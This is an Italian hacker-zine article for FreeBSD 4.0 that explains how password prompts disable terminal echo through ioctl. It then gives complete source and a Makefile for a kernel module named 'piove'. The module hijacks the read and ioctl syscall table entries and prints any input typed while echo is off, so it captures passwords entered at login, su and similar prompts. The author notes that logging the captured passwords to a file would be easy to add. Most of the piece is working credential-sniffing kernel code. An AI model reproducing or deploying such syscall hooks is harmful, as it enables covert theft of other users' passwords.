--[ INTERCETTAZIONE DELLE PASSWORD INSERITE SENZA TERMINAL ECHO VIA KLD ]-- articolo piccolo piccolo ma che mi e` piaciuto scrivere, tutto e` nato cosi`: alle 10:20 di stamattina sono tornato a casa dopo esser stato dall'ortolano, e mi sono messo a programmare l'idea avuta a colazione, alle 10:55 spengo il pc e corro fuori per non perdere il treno, alle 21:00 ho ripreso mentre guardavo i cartoni su MTv, alle 21:40 circa mi sono stancato, alle 24:00 ho ripreso, ora sono l'1:02 e inizio a scrivere cos'e` sta` porcheria dopo una consulenza via irc con LordFelix e gli ultimi ritocchi. come dice il titolo, questo kld mostra come leggere le password inserte in un sistema, solo quelle xo`, in questa versione proof of concet, dopo averla letta la scrive fuori, sarebbe facile implementare una sorta di logging che tenga conto del nome del processo che ha ricevuto la password (login, su, pgp ...) l'id del processo e la password, ma visto che sono stato al pc per poche ore queste features non sono incluse :) il funzionamento della getpass(3) e` semplice, leva dal terminale l'echo locale in modo che l'utente possa scrivere la sua password senza che essa venga visualizzata, per levare l'echo e` molto comodo usare la funzone tcsetattr definita nella libreria termios.h. un esempio che ho visto molto esplicativo e`: #include #include #include #include static struct termios stored_settings; void echo_off(void) { struct termios new_settings; tcgetattr(0,&stored_settings); new_settings = stored_settings; new_settings.c_lflag &= (~ECHO); tcsetattr(0,TCSANOW,&new_settings); return; } void echo_on(void) { tcsetattr(0,TCSANOW,&stored_settings); return; } per maggiori informazioni sulle potenzialita` della tcsetattr consultate le man page tcsetattr(3) e termios(3). se usiamo strace (Linux) o ktrace (FreeBSD) vediamo che la tcsetattr non e` altro che un wrapper alla ioctl(2). QUINDI, se noi via LKM/KLD dirottiamo la ioctl() su una nostra funzione possiamo capire se si sta` tentando di manipolare il terminale (grazie al secondo argomento passato a ioctl) e possiamo ottenere maggiori informazioni facendo un opportuno cast e leggendoci la struttura dati opzionale passata come terzo argomento. con ktrace di un programmino come: #include #include #include int main(void) { char *pass =malloc(128); pass =getpass("metti una pass che la intercetto :"); return(EXIT_SUCCESS); } vediamo: 301 progra1 CALL sigprocmask(0x1,0x28060040,0x28060050) 301 progra1 RET sigprocmask 0 301 progra1 CALL sigprocmask(0x3,0x28060050,0) 301 progra1 RET sigprocmask 0 301 progra1 CALL ioctl(0x3,TIOCSETAF,0xbfbffbc4) 301 progra1 RET ioctl 0 quindi via KLD, sapendo che la ioctl riceve come argomenti : struct proc *, (come classico) struct ioctl_args * (definita in modo da tenere gli argomenti classici della ioctl(2) ): struct ioctl_args { int fd; u_long com; caddr_t data; }; ci basta checkare struct->com che sia TIOCSETAF, poi fare un cast di una struct termios *, sull'indirizzo contentuno in struct->data e verificare i flag selezionati e valutare quindi il reale intento della ioctl(). (sotto linux, tanto per completezza) : ioctl(3, TCGETS, {B38400 opost -isig icanon -echo ...}) = 0 // 0x00005401 TCGETS struct termios * 0x00005402 TCSETS const struct termios * 0x00005403 TCSETSW const struct termios * 0x00005404 TCSETSF const struct termios * dalla man page ioctl_list(2). questo e` il kld per freebsd, fatto su freebsd 4.0 tnx naif che in 3 giorni mi ha masterizzato 4 cd diversi :) bei tempi quando lavoravamo insieme :) visto che e` da 4 giorni che vado in giro con l'ombrello, questo kld ha preso il nome di "piove". <-| piove.c |-> /* * KLD by vecna@s0ftpj.org for FreeBSD 4.0 * this module show how intercept getpass(3) function and print anything * that's is insert without terminal echo. * sorry for my english, I like only milanese. */ #include #include #include #include #include #include #include #include #include #include #include static int procnum; static int piove_ioctl(struct proc *p, struct ioctl_args *uap) { if(uap->com == TIOCSETAF) { struct termios *check; check =(struct termios *) uap->data; /* tnx to LordFelix :) */ if(!(check->c_lflag & ECHO)) procnum =p->p_pid; } return ioctl(p, uap); } static int piove_read(struct proc *p, struct read_args *uap) { int ret; ret =read(p, uap); if(procnum) if(p->p_pid == procnum) { char *charptr =uap->buf; charptr[p->p_retval[0]] =0x00; /* example of reading password, is nice log on * defined file, but this kld is only proof of * concet :) */ uprintf("pid [%d] on terminal without echo [%s]\n", procnum, charptr); procnum = 0; } return ret; } static struct sysent piove[2] = { { 3, (sy_call_t *) piove_read }, { 3, (sy_call_t *) piove_ioctl } }; static int init_module(module_t mod, int cmd, void *arg) { int ret = 0; switch (cmd) { case MOD_LOAD: sysent[SYS_read] =piove[0]; sysent[SYS_ioctl] =piove[1]; uprintf(" getpass(3) kernel sniffer loaded\n"); break; case MOD_UNLOAD: sysent[SYS_read].sy_call =(sy_call_t *)read; sysent[SYS_ioctl].sy_call =(sy_call_t *)ioctl; uprintf(" piove kld unloaded\n"); break; default: ret = EINVAL; break; } return(ret); } static struct moduledata piove_moddata = { "piove", init_module, NULL }; DECLARE_MODULE(syscall, piove_moddata, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); <-X-> tnx to: pigpen, bhe, io sono gia` al secondo kld in 5 giorni e 6 giorni fa` non avevo ancora chiaro cosa fosse una sysent, e` anche merito dei tuoi consigli & dei tuoi articoli THC - Attacking FreeBSD with Kernel Modules - pragmatic per compilare il modulo si usa il classico makefile per i moduli fbsd: <-| piove/Makefile |-> SRCS = piove.c KMOD = piove KO = ${KMOD}.ko KLDMOD = t .include <-X-> ogni giudizio cattivo, miglioria consigli e report di kernel panic possono essere inviati a vecna@s0ftpj.org, rispondero` volentieri perche` ultimamente non ricevo mai una mail :) ore 1:31 - fine, pufff :)